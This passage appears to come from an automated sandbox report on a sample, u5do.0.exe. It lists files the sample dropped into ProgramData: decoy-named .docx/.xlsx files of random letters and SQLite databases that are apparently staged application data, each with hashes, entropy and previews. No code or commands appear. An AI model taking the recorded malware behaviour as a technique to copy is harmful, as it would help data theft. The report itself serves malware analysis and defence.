SSDEEP:	24:JCmIDeBF63lGj/+QvH8n8JCl7odrVgKqBP68iz:4QQQvHFrTqBPXiz
MD5:	CC0686FCDF6617729D1EDF30F49501F1
SHA1:	02D629848E3D467D8143B057F003E0D7448126CD
SHA-256:	31E15305BC0579F03C51A1D6534B332F32C73ABC6D1B68BA0BDA6FCF97F593C9
SHA-512:	8BD18EB486BA6D2799329D9A8EFB3F52C3D109F5CB070290418DDE4B58756CD023857E4CAE62323C530FA0D3A60372C97D9744C1911A688D3592EABD14005F25
Malicious:	false
Preview:	DQOFHVHTMGONGZJMTUDJRBBZMRPVREMYHKGEHFUQYXZCSKHYXSDQYNTHYMAXXVSVAUOGMFIYPDCQLTHSECIYLWTRIBFEAYHUXINIFQBTJDZMINEEJPQYKGEESHWZILKBYECTPQSECVJBFSZOCCSNOVPIAHSFZWVXPNEQGUOXWPBXJRUYFARJLNHPVXAJZAMAADRKIWNDXYEBYMEBSXOJGEOURNOIBBLONDSVHAOQHPMGXZYJJTGITBJPQEBNXGZYUKARGBCVCJUHSRNNEVOIGUVCJVMNFBKNVZYQADNKMLUVPOTXVOQFRBXUSSRFMQEZCJFQXKCGKGKCVGGVBKNPTNSSMADFJLSDMVXHSOETKCENTGLOVOHUYJFTIWFHKFJRYNOXVIGPLHNBFPFOCWMNOQXWIPYAHPKRVTBFYKRBDVDUAZBSLWPPMXJXDVRCRPKOGCUKNZKBLJGIGZASUAZBLZBMGJSBNQSVTMGEWGLMNJKCSBEAGDUINAXDWMHJASNQRRDMKVXOKATATHRLEOJRPCUOAVQIESHZYWIQCSCAPIAJHBTEIYVRFEDCQDCDIYPMQVBWUEHDPIDAGKYZBMLBDUTEIFYLBSHAWEMNTPQDCSTOWSBZWQEBLVBNUWKZFUDMPBKETDOEOIXRFTDUFIBPBSUHXQTCPRPZAKDTRWMGSAVOZBNDDMDIHBSGIPOMYLKSGKUWRGKNXSOLUZDUZYQFQTKMNWLSYKVAQVIHJTFYNRTERQMIRVMLNWEIMHPIWEWIZJJRGOCBVHFGCSCPAIQYTEMYIQJKVUFAZERTMPUQSRHOZHOYABIALCSKDKHEDHJGKBYVCDZGPYPCLDCEFHWFMLSBOUUGKJFXSVKJVYVTSMIZISSWNRRWBNOMXZCOJAULXRXTNHTYWTZNFOKXVGZMTRVOSMSRMYBHKSHRCPZSSMDBJOTQQRGYIHEMZHHSWECVAOPVNLGBYHZVZPLQHOTCJNPUXICWZBLKAQFGUZPW

C:\ProgramData\DUUDTUBZFW.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\ProgramData\DUUDTUBZFW.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\ProgramData\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690299109915258
Encrypted:	false
SSDEEP:	24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
MD5:	F0D9DE697149ECBC1D88C7EA4841E5BD
SHA1:	06A2A47C12B3554397AA0C8F483411CAB366947D
SHA-256:	5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
SHA-512:	E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
Malicious:	false
Preview:	EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

C:\ProgramData\EFGRWFCUWS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7037440932790515
Encrypted:	false
SSDEEP:	24:pHz4RQchY8lnzfb5mE5KhuPiROy0rJF3IN5T3e5PWWOYfzy:pHz4RQYlnzfo+PnygfYN5T3eZWWzzy
MD5:	82362D50B77A5F07C3225A801977990F
SHA1:	DFD074A3BEC84524D7DB1B9D4CCBF86935B4DDB8
SHA-256:	A4613F3AA84FFB424954852A70E9B95D2A3F71F11A0A83B477E563D815ABD94B
SHA-512:	0DC3BD9B5E656C1536BFB218A6A53CCD561E414FFD68D036D74172987954380AE39FC00A469373E8D9D72072955C869C74DDFC470BDCCDE4C49EFE9FFCC9FB5E
Malicious:	false
Preview:	EFGRWFCUWSJYZAIVMRKOWVIOLONLIBGURLQLGRJVVRTHOJLEVVIWOWJOZVNHNPIFIGOEJFTKYADREAZXFBTQAJICATYFKLCTCTKZABALHYLNHDAEKGJBKILHDBRQNHCPXLGMOXEZZHFNVMJTLPXEMNPDOXNRDMULGAKXHRDDXHYIVJCHFRQPYQZHNEISPOEWPDQRBUOWPTHCUCDSJRXWLAQVGVKVFQSUFOEWYJJPNMLNUSFRSEBXMIEUXEKBUMJUADMVDPFZXDPTRGTXLERZTPUYHKMHJYOOBSLHABOLRRKWQHBFNZOMXKXEOBYXGGNELNVXYUGWAIOOCDITUZCHMRMYJVNGMPIKXSVXMSPZSLWTJDUHGAGYHNBQIOLXWJFYVBJUFYWKYNSMCXHJKQRQWJRRDIYWUGWMUVEXDYSSIYMOAGDLQHKNTRARFVSJXNIVLWZPWIGYEGDWHBBFZBUVZXBIJCIKPTRANLTDPSWRIPVRECPQTMTYJUNSKAURTHPGUNUNMTPFYBEHXPMDEGKEYRTHOJMAPPENPBXYMAKIUWWOGTLOYSBSDXZQPALMDXNRMAEWBFPZEKWUNZTEBQYPXEYPDLSAJUUVKYENWBBTZQANCPFCAHHOOTUDTOMQYNYXTUOQRZWCZIIQLJKEXTSWCYGMTZEFUQSOVFLBDZEIEAOXMSCKRKDMWQVRJTAFWAZDRMOIBBEJYSQNVADRHJBFXELCPEBLMWMELYARIHTDBHICZGSBPBNUBYVKCQIAANSZHGPHHOGZBWXWPFDXGDBAPWFCXANHUYOOSTXRFAGDOFSBXCMFRYBOLCMGSIBQBOXPEVANWCGWBBCKSZEJVDUNATCXQGRIGFIWUOJNZJLJSSTEGFSBGYSRIWSEGQHNMJGOQKVNICXPZTMYYSFSCNDKFSZIMRNZXPNNBMLZNBLWFRNBHBRDJICOCWBSDXVTTLZRZVSPKPUCPWLEAZVMEIEPKDYRFZWKYTJHSRSWHOUK

C:\ProgramData\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\ProgramData\EGCBAFCFIJJJECBGIIJKECAFID

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAAFIEHIEHJKFHCAE

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ERWQDBYZVW.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.693387219649247
Encrypted:	false
SSDEEP:	24:cKD4GnUeIGmYZ3xj/6MWpfKA62w69AMDrqtYOwCn:c0zVIoZAMIfKd6qtHwG
MD5:	0DD7B9D09688F0DF426AD874CBB55C1A
SHA1:	C3F68DD587EBDEFC8EB7D2BA1DBC934CB80078D6
SHA-256:	E643E26A8C4AB04753A7DC86B96596D84D2F206824562DBE0698FC265F428557
SHA-512:	E8C3B2FE3A80A11D5AB6ADAF237C2004ECD019D7D4D924A866DCEEDFE5F7014B117ED7934A96F6363F84F664293C1269311F1A3E71FFD83596AF94C525ECBF2A
Malicious:	false
Preview:	ERWQDBYZVWPGUNBIAFNNAESQLJTDAZSIUQNUHSXBNCVZEBOLFNOXWWDBHKAIDHUAIYKPTNLMHYOHNVLVWHOTUSZMLJHXUMPVOFHSYHABZINQZOYDUTIDALDSCJFFLSDNATXKPWKBKETSNUWYWWWFCTKWXDMIPWCGWGFSDHADLCATHLWVZHACGWRLBSQBJQBMPFZSSKTBXLAZYCPVFDLIOCQNZMEMJMNPFLUVVDEXROLRPYLUFWJUJCVKDUSKEVXTCJOWMCLAFJHFVNXIZZDHJBBLFXRWFOJLEESKJRKEZQADCCUUUPDWNVNXMPEQDIDZXCPORSSRXYRTLNPGZEXCSLTAYBSDBLYBHUCDPZHLNMNWOEPHTFEAHOYIYVALBRWPPTHSZINHJUWASYKMYSWZZGCEAZASFSXOWEGLHQBWZNDGMNOOAPPTAVEZZVFPNMXEOHYEFWNYLUEHNJTIDGBTYZVFFDZGLFJKUZGPEBUDHIIYHWCBCIZDBTHDBSIGFDGRNYWXTXEVCAXVJALLBWPGSSLOSWFDNMZLRVTZDQPUMQUXUBKWLPBVZMCWIYNMVTMZSVXLOOWKULHHHYRNRHYGNSOMNYGPKEMHMHKTFWYSESNCJCZRLNPMQQKIFPGNSEEQOSTQANXSJGMYTMNOTACJPQDJMUADZDEUSWOYZYJJUDMMEEEFMBHDLMOIFZDMYGUDVUQEYDZHKMRQTJUOTAHNKGUWVIBDPNIXGKQRWYLKZACERHQANHTCUWRFZDAXZCEYKRPCZMVZCLUUTPOUEYWKJUZLSRHYITFAYPXNXLDRHUSJEPJCIDVXNABTUNUCNCVPEHABSVQYGWDOMTKTCXPMLOESGOGTDSMYSKFOLMYLOTKZOWPHIPFTLGVMTKEKGGZPBLBBAXHZRGMETBZHMGYANRZYSXZVQQQHGGFESFRHFMIEGBNXBFQYGPEVSGKBQFKKDEPLVVGOKWKUZLMCVUESMGOGTMKAAFBTCQRGUJLT

C:\ProgramData\GCGHCBKF

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\ProgramData\HIDHDGDHJEGHIDGDHCGC

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HMPPSXQPQV.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698711683401115
Encrypted:	false
SSDEEP:	24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
MD5:	47643CE7571E0C995094D7CE5F2005D7
SHA1:	40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
SHA-256:	1D642D4EC7BC821B0FFA28C3F2702C875C922139D8001EADD664EBCCF8D321B3
SHA-512:	3AAD0470C01D2609662C0B8D146BA79132B404C669C22032D085233E2D30725797AC2E15A11F54DFE00E4B6CA6E914E3439D4775B3AF6D782334FE9424F485A5
Malicious:	false
Preview:	HMPPSXQPQVZTKYGXRLZXZQHGCZSWFSMKAZTFZQVPBWYDEIQOYRZBKZROCVLLNDGOXMZATHCHJWBWCKMDMUVOMUCFYNBSIKMCOOAGLUHDSCAREEEQGTRYCAFLTFVCHREFHJJALACUPWFTGZJJVRRQBVOZGXIEUBTJBNHNAXRWAWTUYQZIZWPARDBZBFGZUBQQPINOCLFOLDPTMWQVUUBDSNGDFVMEOTHPNKBOMDPGLFXUXBXHUOTYRPUQTUJPKLUSNTISPNFAHVFBBWEWJQFBJFCDDWUUKCQJNEKMUTJEZKKMXXOCBOVMCGGYTPDYBYYFVGHQJJBCDHYWPXJUJWPNURQCUHPTATLFRAOGUCJWWSBAITHVPDRYRFCTPIWHJVKSAXOIPKHISTBCDZISGIVPPYDJLJWFRNVNCWIOINKYQLAFVLCPSGCZABGNTUVGEDQZGQNDECUBPLLOYUYTHXDNNCAXKLHFZXBBAWBICFREGZBLZZMPWRLUSXUNEXAKLSJETGNCJTTGSNPPSHZUKZDHHYHBBWKJUSIBAKGKHQJINZHCWLBCIIUGTVVLNEZXUBIPUVRAILLENTRJYFNIBHNOUNYAIFQBNUMFUSXNGITFIFZKTSFAQXDYVBIUCIUYJIGJTIJHWTPPRJQVSBHHUXLZRPPJOWJAPSVQQVKLFHKXZRPEJBFXNKVNBCPMLRQGCJINKLLBJVROFAFCDRFCDAMIDEYSZDWNLUMJZXGWKOIKNAYVXPYRZWMBNAAFKFOPCVNGUECOARMDWJVYVUQQAFEGKCYXVVGXPHPEVOMRADTQDTJSHAKHPNNOGUDWBRXDJFEMSJTJUJKHZONBLGDCDDUDTRQKPOFACELSKHFSBPKXKDGWOKSDBAMWLKXEAOOHWVOAQZGZCNSDWOXSHPTFMVMYQXTRNMUPZSFQXOQLPUFJWHWTXXIRMQXDPVAJKHMSCGTFVJKECYILRMHGFBWQKUNTRVZTBJQJAKTSJUIDOLPL

C:\ProgramData\IEHJDGIDBAAFIDGCGCAKKKFBFH

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
